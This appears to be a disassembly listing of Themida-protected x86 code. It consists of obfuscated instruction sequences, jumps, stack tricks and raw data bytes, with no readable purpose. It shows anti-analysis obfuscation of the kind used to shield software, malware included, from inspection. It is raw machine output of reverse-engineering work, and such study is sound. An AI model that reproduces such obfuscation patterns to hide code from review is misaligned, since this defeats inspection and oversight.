dd 0F068241Ch, 89000073h, 7F68243Ch, 5F20B148h, 0C3E9FB89h
db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_552F3F: ; CODE XREF: Themida_:005570F8j
push ecx
jmp loc_554DD5
; ---------------------------------------------------------------------------
loc_552F45: ; CODE XREF: Themida_:0055178Aj
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_561BA6
; ---------------------------------------------------------------------------
dw 2D04h
dd 2D2CF828h, 7AE92B04h, 50FFFFCFh, 4B8h, 0AACEE900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_552F72: ; CODE XREF: Themida_:005549AFj
mov [esp], dx
push eax
mov al, 0D0h
push ebx
mov bl, 41h
push eax
mov ah, 41h
xor ah, 9Dh
dec ah
xchg bl, ah
not bl
xchg bl, ah
sub ah, 0DBh
push ebx
mov bh, ah
mov dh, bh
pop ebx
jmp loc_54E3AB
; ---------------------------------------------------------------------------
dd 9509DAB8h, 4196057Ch, 0D8F772D6h, 5101C083h, 0B9h, 0E9C12900h
dd 6ADBh
; ---------------------------------------------------------------------------
loc_552FB4: ; CODE XREF: Themida_:005609CAj
mov eax, [esp]
add esp, 4
and al, dh
mov dx, [esp]
add esp, 2
push 6871h
mov [esp], ebx
push eax
jmp loc_55685D
; ---------------------------------------------------------------------------
dd 55241C89h, 43F1BF57h, 0E7814154h, 338607Ah, 0F707E7C1h
dd 1CF781D7h, 5267C723h, 0FA2802BAh, 5AD70119h, 0C6E9FD89h
dd 81FFFFE3h, 2C4653EBh, 24048B3Bh, 4C481h, 1C330000h
dd 241C3124h, 8B241C33h, 0B60F2424h, 4EC83C8h, 89240C89h
dd 0E46850E1h, 5877A155h, 0F703E0C1h, 0E96CE9D0h, 0C890000h
dd 8733E924h, 7DB00000h, 0FE5BF800h, 30042CC0h, 24048BC1h
dd 4C481h, 0EC810000h, 2, 35B9E9h
db 0
; ---------------------------------------------------------------------------
loc_55305D: ; CODE XREF: Themida_:005571CFj
sub edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
jmp loc_551C8D
; ---------------------------------------------------------------------------
db 0BFh, 76h, 43h
dd 7C011F73h, 0AEE90824h, 0BAFFFFE1h, 3B5AB657h, 295AD729h
dd 243C8BF9h, 4C481h, 0E9C10000h, 5ABE5602h, 51316F7Fh
dd 949EE9h
db 0
; ---------------------------------------------------------------------------
loc_5530A1: ; CODE XREF: Themida_:005552F8j
push edx
push ecx
jmp loc_555973
; ---------------------------------------------------------------------------
dd 5C24048Fh, 0A09DE9h, 0E9F02100h, 0FFFFFC1Dh, 5004C483h
dd 405E089h, 5000000h, 4, 14E1E9h, 69C78100h, 81E2D12Ah
dd 0B711CAC7h, 5FF93157h, 0F759CF01h, 0FFEF83D7h, 0BA52D7F7h
dd 4D7F1360h, 6C9DCA81h, 0C2813063h, 1D897A9Dh, 0ABE9DAF7h
dd 5F000043h, 815DE889h, 0E80571EBh, 28E9565Dh, 10000C4h
dd 991EE9CDh, 34FF0000h, 89525D24h, 6B75E9E2h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_553122: ; CODE XREF: Themida_:0055BEF9j
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
movsx ecx, al
push 10F1h
jmp loc_558D69
; ---------------------------------------------------------------------------
db 5, 4, 0
dd 0C0830000h, 0BE73E904h, 0BB53FFFFh, 4, 0EDF8E9h, 24048700h
dd 2414895Ch, 5A2414F7h, 1461CA81h, 0EAE9411Eh, 31000045h
dd 4DE95EF1h, 810000C2h, 4C2h, 24143300h, 0C67EE9h, 0B1516600h
dd 66CB2840h, 0E9515059h, 922Eh
; ---------------------------------------------------------------------------
loc_55318C: ; CODE XREF: Themida_:005563F3j
add esp, 4
add esp, 4
push 18D8h
jmp loc_55DA8C
; ---------------------------------------------------------------------------
loc_55319C: ; CODE XREF: Themida_:0055D194j
push ebx
mov ebx, 5B9E00F7h
sub ebx, 588B114Dh
shl ebx, 4
push ebx
not dword ptr [esp]
pop ebx
xor ebx, 0A6C0208Dh
jmp loc_55F343
; ---------------------------------------------------------------------------
db 66h
dd 4DCA8059h, 426EA80h, 2CD00000h, 0D8285A00h, 0E95BB92Ch
dd 4000h
; ---------------------------------------------------------------------------
loc_5531D4: ; CODE XREF: Themida_:0054EAC8j
pop esi
xor ebx, [esp]
jmp loc_54FF3E
; ---------------------------------------------------------------------------
loc_5531DD: ; CODE XREF: Themida_:00554DFBj
not ecx
xchg ecx, esi
sub esp, 4
mov [esp], ebp
mov ebp, 1DB60A4Ch
add ebp, 1A76673Dh
inc ebp
shr ebp, 7
shl ebp, 3
jmp loc_55A0BD
; ---------------------------------------------------------------------------
db 52h, 0BAh, 0CFh
dd 811E9158h, 0E1E89E2h, 26EA810Ah, 1EBACAAh, 0CB015AD3h
dd 3EA468h, 0BA8AE900h, 8B660000h, 51562404h, 0BE56E189h
dd 3B2F6EA2h, 0CE81D6F7h, 7C6C724Eh, 0FFD35CE9h, 9CEA81FFh
dd 8B1A030Fh, 90E9242Ch, 5BFFFFF2h, 4C6815Eh, 0E9000000h
dd 8A96h, 0FB20A8BEh, 0B2EE8167h, 8115433Dh, 0ED738DF6h
dd 19F68134h, 31E343C8h, 0EB015EF5h, 5D2434FFh, 0E904C483h
dd 0FFFFC782h, 0B240E95Dh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_553286: ; CODE XREF: Themida_:0055D053j
mov ebp, esp
add ebp, 4
push eax
mov eax, 4
sub ebp, eax
jmp loc_5557F5
; ---------------------------------------------------------------------------
db 81h
dd 73788AF1h, 59CF897Eh, 0FFF3CAE9h, 5EF101FFh, 8B240C87h
dd 96E92424h, 55FFFFC7h, 4BDh, 8BEB0100h, 0C481242Ch, 4
dd 8704C383h, 0E95C241Ch, 90A2h
; ---------------------------------------------------------------------------
loc_5532D4: ; CODE XREF: Themida_:00554E31j
pop ebx
dec ebx
push ecx
mov ecx, 52E77945h
jmp loc_55EDED
; ---------------------------------------------------------------------------
loc_5532E1: ; CODE XREF: Themida_:005500EFj
add esp, 4
jmp loc_556400
; ---------------------------------------------------------------------------
loc_5532E9: ; CODE XREF: Themida_:0055531Bj
add ecx, 4
add ecx, 4
jmp loc_54F645
; ---------------------------------------------------------------------------
db 57h
dd 0C781E789h, 4, 4C781h, 3C330000h, 243C3124h, 8B243C33h
dd 0E9532424h, 0FFFFF1B6h, 5435ED81h, 0FD0120CCh, 5435C581h
dd 0D4E920CCh, 52FFFFFDh, 38E9E289h, 5DFFFFD1h, 5C243487h
dd 0D3E9D101h, 5000004Fh, 4B8h, 24440100h, 46E95804h
db 85h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55334F: ; CODE XREF: Themida_:0054EB63j
xor ebp, [esp]
pop esp
push esi
push ebx
mov ebx, 1CAB649Ch
push ebx
pop esi
pop ebx
sub esi, 1CAB6498h
add ecx, esi
pop esi
xchg ecx, [esp]
pop esp
jmp loc_5560F5
; ---------------------------------------------------------------------------
loc_55336F: ; CODE XREF: Themida_:0055AE15j
mov edi, 154F58BFh
xor edi, 5D0982Ah
sub ecx, edi
pop edi
sub eax, 380D7E23h
sub eax, ecx
add eax, 380D7E23h
pop ecx
jmp loc_55B3D2
; ---------------------------------------------------------------------------
db 68h
dd 0FA9h, 0FFCE9DE9h, 1C77FFFFh, 1858669Dh, 0E99C2404h
dd 5FCh
; ---------------------------------------------------------------------------
loc_5533A8: ; CODE XREF: Themida_:00555C2Bj
push 7E1Ch
mov [esp], ecx
push edx
mov edx, 7E665361h
not edx
add edx, 0E637C1F1h
push edx
add dword ptr [esp], 68534C18h
pop ecx
sub ecx, 68534C18h
pop edx
sub eax, 6C891336h
jmp loc_54FAB6
; ---------------------------------------------------------------------------
dd 0BD242C89h, 2, 0FFF245E9h, 5E1EB8FFh, 0C70511B1h, 2927D902h
dd 0EB0158C3h, 60E5C381h, 34FF398Ah, 2D08E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_553402: ; CODE XREF: Themida_:005526C3j
sub bl, 93h
push dword ptr [esp]
jmp loc_555D50
; ---------------------------------------------------------------------------
loc_55340D: ; CODE XREF: Themida_:0055D8B6j
add esi, 7C111802h
shl esi, 2
jmp loc_552D2A
; ---------------------------------------------------------------------------
db 59h
dd 4EC81h, 14890000h, 4685524h, 8B000000h, 16E9242Ch, 81000073h
dd 0A6D43DF2h, 8BD321DDh, 89572414h, 4C781E7h, 0E9000000h
dd 26BCh, 42474FFh, 24048F5Eh, 68C3315Ch, 0DB5h, 0E9240489h
dd 0FFFFE413h, 0C3803AB0h, 51C30079h, 0EB2879B5h, 48B6659h
dd 2C48324h, 66C0B60Fh, 5524148Bh, 9849E9h, 962D5A00h
dd 5704E33Bh, 0E901BD68h, 5B37E974h, 13680000h, 8900003Eh
dd 0E954243Ch, 0A0Ch, 8BE80158h, 0C481242Ch, 4, 96B85051h
dd 0E923EC2Fh, 0FFFFD6F9h, 8E3AB4BBh, 0D1C38112h, 8124EE56h
dd 0C977FFF3h, 8E3C169h, 0FFD92AE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5534D5: ; CODE XREF: Themida_:0055E090j
mov edx, esp
jmp loc_558BCF
; ---------------------------------------------------------------------------
loc_5534DC: ; CODE XREF: Themida_:00551BD6j
mov ebx, esp
add ebx, 4
sub esp, 4
mov [esp], edi
jmp loc_55167F
; ---------------------------------------------------------------------------
dw 0D5F7h
dd 5743EB87h, 387A5ABFh, 5FFB3156h, 0E95BDA89h, 1Dh, 0F7242C31h
dd 242C87D5h, 5F2434FFh, 8104C483h, 4ECh, 243C8900h, 9C52E9h
dd 79EB2D00h, 0F02D4D8Ch, 102832Ch, 2CF005D0h, 0BA520283h
dd 4D8C79EBh, 5A5AD001h, 6802C083h, 2B52h, 0E9240489h
dd 0BD3Eh
; ---------------------------------------------------------------------------
loc_553550: ; CODE XREF: Themida_:0055CCA5j
xor edx, 36C79CDh
mov ebp, edx
jmp loc_55A85F
; ---------------------------------------------------------------------------
db 59h, 81h, 0EEh
dd 0C3D1E75Ah, 895EF789h, 753BE9FDh, 14870000h, 0CF6AE924h
dd 15B0000h, 4A5368D8h, 0C890000h, 761DB924h, 0C8010A35h
dd 241C8B59h, 0E904C483h, 3404h, 0D22AE956h, 0EC830000h
dd 243C8904h, 0B73418BFh, 0E7895748h, 4C781h, 0BE560000h
dd 4, 71E9F729h, 100009Fh, 5DC581F5h, 5E152659h, 3C3CE9h
db 0
; ---------------------------------------------------------------------------
loc_5535C9: ; CODE XREF: Themida_:00550E7Dj
xchg ebp, [esp]
mov esp, [esp]
sub ebx, 2EC400DAh
add ebx, edi
add ebx, 2EC400DAh
add eax, [ebx]
push dword ptr [esp]
push dword ptr [esp]
pop ebx
add esp, 4
jmp loc_55CA94
; ---------------------------------------------------------------------------
db 83h, 0ECh, 4
dd 0E9240C89h, 0D9C7h, 81242C8Bh, 4C4h, 1C470900h, 0FFCE96E9h
dd 0E9EE88FFh, 0FFFFE1C2h, 4C481h, 48F0000h, 1DE95C24h
dd 5AFFFFF0h, 0BA52C801h, 4AE12A87h, 92E9D001h, 89FFFFDFh
dd 0E954242Ch, 92ADh, 1DBD555Ah, 8120C127h, 156209F5h
dd 6AE5815Dh, 81574909h, 4000FCEDh, 5DEF2955h, 5C243C87h
dd 81242489h, 42404h, 2C8B0000h, 4C48124h, 68000000h, 3AE3h
dd 0BA241489h, 6A9B19EDh, 0D0DBE9h
db 0
; ---------------------------------------------------------------------------
loc_553681: ; CODE XREF: Themida_:0054E7EAj
and edi, 621F5FC2h
jmp loc_55A9E0
; ---------------------------------------------------------------------------
dd 3635BA52h, 0D2F750F2h, 0C103EAC1h, 8CE908EAh
db 8Ch, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55369F: ; CODE XREF: Themida_:0055967Aj
push esi
mov esi, 0B95EBDC9h
add edx, esi
jmp loc_55E19C
; ---------------------------------------------------------------------------
dd 0E924048Bh, 2151h, 0EA9B850h, 92E9224Dh
db 64h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5536BF: ; CODE XREF: Themida_:00550BF2j
push edx
mov edx, 62136F64h
jmp loc_55B412
; ---------------------------------------------------------------------------
dw 0D601h
dd 1A1DEE81h, 0E95A0835h, 27C5h
; ---------------------------------------------------------------------------
loc_5536D8: ; CODE XREF: Themida_:00550E15j
sub esp, 4
mov [esp], eax
push esp
jmp loc_55B910
; ---------------------------------------------------------------------------
loc_5536E4: ; CODE XREF: Themida_:005546DAj
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
pop ebx
jmp loc_55F507
; ---------------------------------------------------------------------------
dw 0E1C0h
dd 0D2E0E906h, 8366FFFFh, 66022404h, 0E924048Fh, 0FFFFECEEh
dd 0E9E18951h, 6B99h, 8F04C483h, 248B2404h, 9CC88424h
dd 0FFA69CE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_553729: ; CODE XREF: Themida_:0055DA3Bj
mov eax, 53590472h
sub [esp+8], eax
pop eax
add [esp+4], ebp
push eax
mov eax, 53590472h
add [esp+8], eax
pop eax
jmp loc_558078
; ---------------------------------------------------------------------------
db 1
dd 5A685EF1h, 8900007Ah, 0CAE9240Ch, 680000E6h, 7A10h
dd 54240C89h, 592434FFh, 4C481h, 0C1810000h, 4, 20DAE9h
dd 89525300h, 4C281E2h, 83000000h, 0E3E904EAh, 880000BFh
dd 562E9F3h, 83550000h, 3C8904ECh, 4EC8124h, 89000000h
dd 4EB9240Ch, 813B4A5Bh, 0BE37CDC9h, 9911E94Ah
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5537AE: ; CODE XREF: Themida_:0055B431j
xor edx, 34F673B1h
push edi
mov edi, 78009Fh
or edi, 83709ABh
sub edi, 172D0BD4h
jmp loc_558376
; ---------------------------------------------------------------------------
db 81h
dd 0C8151BE6h, 0FBC68137h, 1FDBFEEh, 24348BF2h, 0FFD307E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5537E1: ; CODE XREF: Themida_:0055478Aj
sub edi, 0E9F7C2BFh
add eax, edi
pop edi
jmp loc_552CBF
; ---------------------------------------------------------------------------
db 81h
dd 9E629BC6h, 0FFC6811Bh, 0F7FFFFFFh, 5317E9DEh, 0F3010000h
dd 0DDADE95Eh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55380A: ; CODE XREF: Themida_:0055BBCAj
mul ecx
push 56D4h
mov [esp], edx
push eax
pushf
jmp loc_54DDC5
; ---------------------------------------------------------------------------
loc_55381B: ; CODE XREF: Themida_:00557B18j
mov eax, 2
add edi, eax
jmp loc_55BA90
; ---------------------------------------------------------------------------
loc_553827: ; CODE XREF: Themida_:00550322j
mov esi, 0FFFFFFFFh
add ebp, esi
pop esi
add ebp, 778DA5F4h
mov ebx, ebp
jmp loc_555D3E
; ---------------------------------------------------------------------------
dd 4C181h, 0B8500000h, 4, 7AD8C181h, 0C1296150h, 0BEDEE9h
dd 0C1D2F700h, 0EA8107E2h, 12980147h, 0F83FF281h, 0D301CEA1h
dd 0E683E9h, 242C8900h, 8E70CBBDh, 25C5816Eh, 527E8942h
dd 2F17BB53h, 53BA7D77h, 29A50957h, 0D2F75BDAh, 7747E281h
dd 0F28154ADh, 0BD3AE5B7h, 20E9D531h, 550000C1h, 25E9C589h
dd 66FFFFB9h, 53240C8Bh, 0BF575B54h, 6F657680h, 4EC81h
dd 1C890000h, 6DF6BB24h, 0E3C17131h, 4EC8306h, 0BF243C89h
dd 7AB415BBh, 0F30CF81h, 0DFF72214h, 3CCDCF81h, 0C7817603h
dd 25A76BE0h, 95FFB29h, 0E7815BDFh, 137D62D1h, 4AA2E9h
dd 24048700h, 240C895Ch, 0C181E189h, 4, 4BE56h, 0F1290000h
dd 240C875Eh, 5756E95Ch, 665B0000h, 2454F653h, 805B6601h
dd 885201C7h, 88D6F6FEh, 4DA7E9F7h, 248B0000h, 2434FF24h
dd 57240C8Bh, 0C781E789h, 4, 4C781h, 3C870000h, 0DD3DE924h
dd 3C870000h, 0C82CE924h, 14890000h, 4F89BA24h, 0CBE90D95h
dd 89FFFFE0h, 89562414h, 4C681E6h, 52000000h, 0AF5DB1BAh
dd 4E2C17Eh, 0E788E94Ah, 49BE0000h, 8116EB7Dh, 1482BBC6h
dd 5EF789E9h, 555FFB01h, 4BDh, 0E9EB0100h, 0FFFFA470h
; ---------------------------------------------------------------------------
loc_55399C: ; CODE XREF: Themida_:00556634j
push ecx
mov ecx, eax
jmp loc_550BEE
; ---------------------------------------------------------------------------
dd 0FFA41CE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5539A9: ; CODE XREF: Themida_:0055DF0Bj
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
jmp loc_55D02B
; ---------------------------------------------------------------------------
aI_1 db '-ݨÙ',0
dd offset dword_450050+2399h
align 4
dd 4BDh, 5DE80100h, 5C240487h, 0FFA3F0E9h, 0F1895FFFh
dd 5E2434FFh, 2104C483h
db 0CAh, 59h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], eax
push 47E886Fh
jmp loc_5601F2
; ---------------------------------------------------------------------------
dw 0EB81h
dd 276E4DA8h, 4973F381h, 0D3F700E6h, 6265E9h, 8BEB2900h
db 2Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
jmp loc_562802
; ---------------------------------------------------------------------------
dd 4EC815Eh, 89000000h, 0F6E92414h, 81FFFFC8h, 4ECh, 24148900h
dd 0F680BBB6h, 7EEC0A5h, 0F648E680h, 80D6F6DEh, 0F10050C6h
dd 24048B5Ah, 0FFB91DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_553A5D: ; CODE XREF: Themida_:0055B50Bj
mov edx, 5C20726Ch
push 4444h
mov [esp], edi
push esi
jmp loc_5505BD
; ---------------------------------------------------------------------------
dd 9C2424D2h, 0FFA34CE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_553A79: ; CODE XREF: Themida_:005610D9j
sub esp, 4
mov [esp], edi
push esi
mov esi, 8DA1069h
mov edi, esi
pop esi
xor [esp+4], edi
push dword ptr [esp]
jmp loc_553C57
; ---------------------------------------------------------------------------
db 8Bh
dd 26E92424h
db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_553A9F: ; CODE XREF: Themida_:00553B7Ej
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
push ebp
mov ebp, 6CEE6438h
push edi
mov edi, 29493E1Bh
push edx
mov edx, 5DB76B16h
jmp loc_55CB1B
; ---------------------------------------------------------------------------
db 1
dd 0C13CE9D8h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_553AC6: ; CODE XREF: Themida_:00552DFEj
add esi, 4
xchg esi, [esp]
jmp loc_5524F7
; ---------------------------------------------------------------------------
loc_553AD4: ; CODE XREF: Themida_:0055D338j
mov esp, [esp]
mov ax, [esp]
push ecx
push esp
mov ecx, [esp]
jmp loc_552696
; ---------------------------------------------------------------------------
loc_553AE5: ; CODE XREF: Themida_:005611EBj
push ebx
mov ebx, edi
push ebx
sub dword ptr [esp], 0DAD6649h
pop ecx
add ecx, 0DAD6649h
pop ebx
mov edi, [esp]
jmp loc_55FB64
; ---------------------------------------------------------------------------
loc_553B00: ; CODE XREF: Themida_:0055960Aj
mov edx, 708721C3h
add ebx, edx
jmp loc_559469
; ---------------------------------------------------------------------------
aZqh9z db ')ÐZQh9z',0
dd 243C8900h, 4F536768h, 1674E965h, 0B1510000h, 2DC1809Ch
dd 0E905E9C0h, 0FFFFD673h
; ---------------------------------------------------------------------------
loc_553B30: ; CODE XREF: Themida_:00561110j
sub ebp, 57FF71FFh
and eax, ebp
jmp loc_55D0C6
; ---------------------------------------------------------------------------
db 83h, 0ECh, 4
dd 81242489h, 42404h, 48F0000h, 0C3B6824h, 1C890000h, 4BB24h
dd 5C010000h, 0E95B0424h, 0C098h
; ---------------------------------------------------------------------------
loc_553B64: ; CODE XREF: Themida_:0055547Aj
mov edx, [esp]
add esp, 4
push edi
mov edi, 4
add edx, edi
pop edi
add edx, 4
push edx
push dword ptr [esp+4]
mov edx, [esp]
jmp loc_553A9F
; ---------------------------------------------------------------------------
db 81h
dd 321172C2h, 21B95136h, 3190B04Bh, 0A463E9CAh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_553B96: ; CODE XREF: Themida_:00560C59j
pop ebx
or eax, eax
jz loc_55426F
push ebx
mov ebx, 1Ch
push edx
push 540C2683h
pop edx
not edx
sub esp, 4
mov [esp], edi
mov edi, 2D6B4761h
sub edi, 770016C5h
push edx
mov edx, 668C008Ah
xor edi, edx
pop edx
neg edi
xor edi, 266CEFDBh
jmp loc_55D6E6
; ---------------------------------------------------------------------------
dd 5604C483h, 661592BEh, 11C6814Ch, 0F728393Bh, 81D6F7DEh
dd 0B9D188EEh, 5EF1291Eh, 687FC181h, 0CE89226Bh, 83240C8Bh
dd 0F70104C4h, 8324348Bh, 0EC8104C4h, 4, 56242C89h, 2BEh
dd 394CE900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_553C1E: ; CODE XREF: Themida_:0055874Dj
sub eax, edx
mov edx, [esp]
add esp, 4
push 758Dh
mov [esp], ebp
push 43A3h
mov [esp], eax
push 68413384h
pop eax
push ebp
mov ebp, 33281AF4h
and eax, ebp
pop ebp
jmp loc_54F123
; ---------------------------------------------------------------------------
loc_553C4D: ; CODE XREF: Themida_:00552E9Bj
mov ecx, 0FC07DB5h
jmp loc_554612
; ---------------------------------------------------------------------------
loc_553C57: ; CODE XREF: Themida_:00553A92j
mov edi, [esp]
add esp, 4
add esp, 4
mov ecx, [esp]
add esp, 4
push eax
mov eax, 54876FC9h
push eax
not dword ptr [esp]
pop eax
push 1198h
jmp loc_55E960
; ---------------------------------------------------------------------------
db 0C1h, 0E9h, 3
dd 860FF181h, 0CA897F55h, 5AD52159h, 8107E5C1h, 0EFCC00C5h
dd 6E6856B6h, 0E900006Eh, 0EBDEh, 722DC581h, 815A37D1h
dd 87E26EDh, 0C6815841h, 79473F6Eh, 0EE81EE01h, 79473F6Eh
dd 2B92E9h, 0FCBE5600h, 0F700F349h, 17ADE9D6h, 68580000h
dd 4589h, 15BEE9h
db 0
; ---------------------------------------------------------------------------
loc_553CDD: ; CODE XREF: Themida_:005513A9j
pop eax
jmp loc_55EE67
; ---------------------------------------------------------------------------
db 81h
dd 0FF35ABEDh, 0E9FD2959h, 9DD6h, 88D98851h, 2434FFCCh
dd 4C48359h, 81241C8Bh, 4C4h, 0E7885300h, 65DBE9h, 39E95C00h
dd 5C000069h, 64E5C281h, 0C28123A3h, 13FE3348h, 0EA81C201h
dd 13FE3348h, 64E5EA81h, 53E923A3h, 890000A3h, 0C6815BDEh
dd 2C2209A8h, 5F5E5756h, 0BC3CE9h
db 0
; ---------------------------------------------------------------------------
loc_553D45: ; CODE XREF: Themida_:00551164j
pop ecx
jmp loc_550AF8
; ---------------------------------------------------------------------------
db 33h
dd 835C243Ch, 6CE904ECh, 5700009Eh, 5F5E9h, 3101B800h
dd 0E02D4F07h, 0D2FF72Ah, 773760A3h, 0D08E0C1h, 1F9119B9h
dd 0FF494425h, 13F4352Dh, 0DCE907E9h
db 41h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_553D83: ; CODE XREF: Themida_:0055250Ej
add edx, 4
xchg edx, [esp]
pop esp
pop dword ptr [esp]
jmp loc_552685
; ---------------------------------------------------------------------------
dw 48Fh
dd 0B02CE924h, 0CB00FFFFh, 8005C380h, 0C8BC8C3h, 0C7E924h
dd 4870000h, 89565C24h, 4C681E6h, 81000000h, 4EEh, 74FF5600h
dd 0E95E0424h, 0FFFFF2E0h
; ---------------------------------------------------------------------------
loc_553DC8: ; CODE XREF: Themida_:0055A4D6j
shr eax, 10h
xor eax, ecx
push 45DAh
mov [esp], eax
mov eax, esp
jmp loc_556873
; ---------------------------------------------------------------------------
loc_553DDC: ; CODE XREF: Themida_:00560694j
pop eax
retn
; ---------------------------------------------------------------------------
dw 0E2E9h
dd 81FFFF9Fh, 960A16C2h, 0CE7CE90Ah
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_553DEE: ; CODE XREF: Themida_:00552199j
mov eax, 66086CB6h
mov esi, eax
pop eax
sub eax, esi
jmp loc_55C773
; ---------------------------------------------------------------------------
db 31h, 0F2h, 0E9h
dd 85A2h, 0CBFEC3FEh, 0FFE451E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_553E0D: ; CODE XREF: Themida_:00555F5Aj
mov eax, 1B7D24C5h
push eax
jmp loc_55F9D2
; ---------------------------------------------------------------------------
dd 5C242C87h, 26857h, 0ABE90000h
db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_553E27: ; CODE XREF: Themida_:0055E9F0j
push dword ptr [esp]
mov eax, [esp]
add esp, 4
add esp, 4
push 3B24h
mov [esp], edx
mov edx, esp
jmp loc_55DF7D
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd 8704EE83h, 895C2434h, 2FB82404h, 0E94C3561h, 0DDA4h
dd 0E907E8C1h, 0D133h, 0FFE4C681h, 0F501FFF5h, 0FFABE8E9h
dd 0E08950FFh, 405h, 4B95100h, 1000000h, 48759C8h, 71B55C24h
dd 0ECE9DD00h, 890000ACh, 0EFC15DEFh, 1EF78102h, 0C1505527h
dd 814706EFh, 81EFA7C7h, 0C412E927h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_553EAA: ; CODE XREF: Themida_:005608D7j
push edx
jmp loc_55D939
; ---------------------------------------------------------------------------
dd 53243C8Bh, 0C381E389h, 4, 8704C383h, 0D1E9241Ch, 0B80000B8h
dd 2E080196h, 9D49DB0Dh, 507D2502h, 0C6E901CFh, 0BE00001Dh
dd 2, 817FE9h
db 0
; ---------------------------------------------------------------------------
loc_553EE5: ; CODE XREF: Themida_:0055438Aj
push ecx
jmp loc_55C8B7
; ---------------------------------------------------------------------------
dd offset dword_450050+2F18h
align 10h
dd 0FFE39EE9h, 50C580FFh, 0A2F580h, 665B59ECh, 86E38853h
dd 86D5F6EBh, 66DC88EBh, 83241C8Bh, 0C48002C4h, 7CE980DFh
dd 0C7E9E128h, 89000028h, 9BBB241Ch, 0C164B231h, 0BA5206EBh
dd 2DF33C2Dh, 0A0CCE9h, 0E6E95100h, 500000E8h, 9639F5B8h
dd 0A992E970h, 0E9510000h, 0FFFFE9D5h, 305AF030h, 2434FFC7h
dd 8324048Bh, 0C48304C4h, 0B1516604h, 66C80097h, 2CF80059h
dd 2434FF97h, 0A391E95Bh, 6866FFFFh, 896657D6h, 3486241Ch
dd 0E9D6F624h, 98ACh, 0E9D6F796h, 0DD3Dh, 0F839E946h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_553F92: ; CODE XREF: Themida_:005608B2j
push eax
pop ebx
pop eax
shr ebx, 2
jmp loc_55F1DD
; ---------------------------------------------------------------------------
loc_553F9D: ; CODE XREF: Themida_:00554836j
add ebx, 4
xchg ebx, [esp]
pop esp
add esp, 4
and eax, ebx
pop ebx
jmp loc_55AAF3
; ---------------------------------------------------------------------------
loc_553FB5: ; CODE XREF: Themida_:0054F161j
mov esi, [esp]
jmp loc_54E327
; ---------------------------------------------------------------------------
db 81h, 0C7h, 4
dd 83000000h, 41E904C7h, 100007Ch, 94C181D1h, 5A706D2Eh
dd 0E9240C87h, 0B9BDh, 323A06BDh, 5DE80144h, 695A9F2Dh
dd 9FBCE948h, 0EB810000h, 7D7066CBh, 5CF468h, 24348900h
dd 71A76853h, 0F75B4EECh, 5DD2E9DBh, 0C4830000h, 9DB3E904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_554012: ; CODE XREF: Themida_:005611ABj
or edx, 5C14645Dh
or edx, 10735EA6h
push ecx
jmp loc_554C2E
; ---------------------------------------------------------------------------
aAbbsb db '»ìaBéBÝ',0
align 2
dw 489h
dd 5585424h, 4, 42Dh, 0C962E900h, 6C810000h, 43760424h
dd 48B1F73h, 152BE924h, 55C0000h, 549B42A0h, 9C36E9h
db 0
; ---------------------------------------------------------------------------
loc_55405D: ; CODE XREF: Themida_:0054DE68j
pop ebx
shr ecx, 2
add ecx, 1
push edx
mov edx, 530C5FD3h
jmp loc_56112D
; ---------------------------------------------------------------------------
db 0C0h
dd 0C1FE08E9h, 516FE9h
db 0
; ---------------------------------------------------------------------------
loc_554079: ; CODE XREF: Themida_:0055EB52j
mov [esp], ebp
mov ebp, 263C2F7Eh
mov esi, ebp
pop ebp
push edx
mov edx, 0D9C3D482h
add esi, edx
pop edx
jmp loc_558064
; ---------------------------------------------------------------------------
loc_554092: ; CODE XREF: Themida_:0054DEB3j
mov [esp], ebx
mov ebx, 471A13DEh
shr ebx, 1
shr ebx, 3
xor ebx, 48B08D25h
xor edi, ebx
pop ebx
push ebp
push 0E31DC47Eh
pop ebp
xor edi, ebp
pop ebp
xor ebp, edi
pop edi
inc ebp
push ebx
mov ebx, 7ECB15EBh
add ebx, 6A303422h
and ebx, 416E032Fh
xor ebx, 39CB784Eh
shl ebx, 4
add ebx, 8730D6BDh
xor ebp, ebx
pop ebx
sub ebp, 436CDFCBh
and eax, ebp
jmp loc_55C78E
; ---------------------------------------------------------------------------
loc_5540E7: ; CODE XREF: Themida_:0055247Dj
mov edi, 107E268Dh
not edi
xor edi, 56BD37DEh
or edi, 7FA53042h
xor edi, 0FFBDFEEAh
add ecx, edi
pop edi
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
jmp loc_54F527
; ---------------------------------------------------------------------------
db 21h, 4Fh, 1Ch
